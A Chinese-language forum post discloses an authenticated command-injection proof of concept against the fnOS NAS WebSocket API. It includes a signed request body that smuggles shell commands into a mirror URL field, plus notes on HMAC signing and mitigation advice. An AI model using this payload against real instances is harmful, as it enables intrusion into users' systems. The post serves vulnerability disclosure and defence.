本来不太想发 POC 的,但是鉴于官方在 1.15 还是装死,还是公开了。
Disclaimer: 仅供在自搭建的测试实例学习研究使用。
测试 POC:
WebSocket 连接: http://IP:5666/websocket?type=main
请求 Body:
```
cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"
https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
```
JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定,因此需要现有一个有效的账户。
payload 放在请求体的 URL 内,成功后会在 /tmp 下创建文件 hacked20260131 。
此漏洞在当前最新版 1.1.15-1493 中仍然存在。
如果这个版本还有问题,那说明前面还有一个 authorization bypass 漏洞(要么是验证不当,要么是 Nginx 反代配置不当)。
-----
这里感谢 @
Hantong 的回复:
我能找到的有记录的版本是
https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个
https://fnnas.com/api/download-sign POST JSON `{"url": "
https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行
-----
当前的建议:
- 不要在公网暴露你的实例,使用 Zerotier / Tailscale 加一层保护。
- 如果一定要,可以试试长亭的 雷池 WAF ,但是我没实际验证过效果。